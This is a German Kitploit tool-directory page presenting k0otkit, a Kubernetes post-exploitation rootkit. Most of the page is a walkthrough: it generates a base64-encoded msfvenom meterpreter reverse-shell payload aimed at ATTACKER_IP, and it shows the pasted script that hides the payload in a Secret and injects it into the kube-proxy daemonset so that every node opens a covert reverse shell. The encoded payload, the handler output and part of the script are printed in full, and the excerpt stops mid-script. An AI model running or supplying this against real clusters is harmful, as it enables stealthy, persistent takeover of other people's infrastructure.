Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
k0otkit — k0otkit ist eine universelle Post-Penetrationstechnik, die bei Penetrationen gegen Kubernetes-Cluster eingesetzt werden kann. | Kitploit
Tools/GitHubGitHub/metarget/k0otkit
Container-SicherheitPayload-GenerierungReverse EngineeringPost-ExploitationPenetrationstestsCommand and ControlRed TeamingContainer-Ausbruch
GitHubmetarget/k0otkit

k0otkit

k0otkit ist eine universelle Post-Penetrationstechnik, die bei Penetrationen gegen Kubernetes-Cluster eingesetzt werden kann.

Repository anzeigen
3005167vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

k0otkit – K8s auf K8s-Art manipulieren

Einleitung

k0otkit ist eine universelle Post-Penetrationstechnik, die bei Penetrationen gegen Kubernetes-Cluster eingesetzt werden kann.

Mit k0otkit können Sie alle Knoten im Ziel-Kubernetes-Cluster schnell, verdeckt und kontinuierlich manipulieren (Reverse Shell).

k0otkit ist die Kombination von Kubernetes und Rootkit.

Voraussetzung:

k0otkit ist ein Post-Penetration-Tool, d.h. Sie müssen zuerst einen Cluster erobern, irgendwie aus dem Container ausbrechen und Root-Rechte auf dem Master-Knoten erlangen (genauer gesagt: Sie sollten Admin-Rechte für das Ziel-Kubernetes erhalten).

Szenario:

  1. Nach einer Web-Penetration erhalten Sie eine Shell des Ziels.
  2. Falls nötig, gelingt es Ihnen, die Berechtigungen zu erhöhen.
  3. Sie stellen fest, dass die Zielumgebung ein Container (Pod) in einem Kubernetes-Cluster ist.
  4. Ihnen gelingt der Ausbruch aus dem Container (mit CVE-2016-5195, CVE-2019-5736, docker.sock oder anderen Techniken).
  5. Sie erhalten eine Root-Shell des Master-Knotens und können den Cluster mit kubectl auf dem Master-Knoten als admin steuern.
  6. Jetzt möchten Sie alle Knoten im Cluster so schnell wie möglich kontrollieren. Hier kommt k0otkit!

k0otkit wird ausführlich beschrieben in k0otkit: Hack K8s in a K8s Way.

Verwendung

Stellen Sie sicher, dass Sie eine Root-Shell auf dem Master-Knoten des Ziel-Kubernetes haben. (Sie können k0otkit auch nutzen, wenn Sie Admin-Rechte für das Ziel-Kubernetes haben, müssen jedoch möglicherweise den kubectl-Befehl in k0otkit_template.sh anpassen, um das Token oder Zertifikat zu verwenden.)

Stellen Sie sicher, dass Metasploit auf Ihrem Angreifer-Host installiert ist (msfvenom und msfconsole sollten verfügbar sein).

k0otkit bereitstellen

Klonen Sie dieses Repository:

git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh

Ersetzen Sie die IP und den Port des Angreifers in pre_exp.sh durch Ihre eigenen IP und Port:

ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444

k0otkit generieren:

./pre_exp.sh

k0otkit.sh wird generiert. Führen Sie dann den Reverse-Shell-Handler aus:

./handle_multi_reverse_shell.sh

Sobald der Handler bereit ist, kopieren Sie den Inhalt von k0otkit.sh und fügen Sie ihn in Ihre Shell auf dem Master-Knoten des Ziel-Kubernetes ein. Drücken Sie dann <Enter>, um ihn auszuführen.

Warten Sie einen Moment und genießen Sie Reverse Shells von allen Knoten :)

P.S. Es gibt keine Begrenzung, wie viele Kubernetes-Cluster Sie mit k0otkit manipulieren.

Interaktion mit Shells

Nach erfolgreicher Bereitstellung von k0otkit können Sie mit jeder gewünschten Reverse Shell interagieren:

# within msfconsole
sessions 1

Funktionen

  • Nutzung von K8s-Ressourcen und -Funktionen (Hack K8s auf K8s-Art)
  • dynamische Container-Injektion
  • verschlüsselte Kommunikation (dank Meterpreter)
  • dateilos

Beispiel

k0otkit generieren:

kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh

Reverse-Shell-Handler ausführen:

kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >

Kopieren Sie den Inhalt von k0otkit.sh in Ihre Shell auf dem Master-Knoten des Ziel-Kubernetes und drücken Sie <Enter>:

kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')

volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')

# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF

# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below
Tool herunterladen